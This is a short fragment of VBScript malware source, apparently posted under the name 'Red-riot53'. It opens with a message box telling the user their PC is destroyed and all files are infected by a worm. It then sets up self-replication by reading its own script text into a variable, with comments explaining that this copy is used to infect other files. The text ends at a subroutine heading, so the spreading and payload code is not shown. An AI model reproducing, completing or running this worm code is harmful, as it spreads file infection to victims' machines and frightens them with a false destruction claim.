Red-riot53

x=msgbox("I destroyed your pc Now all files are infected with vbs.worm.win32.fpsgame",0,"From theprotogenwhoaksed UwU")
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
rem Subroutine to initalize the program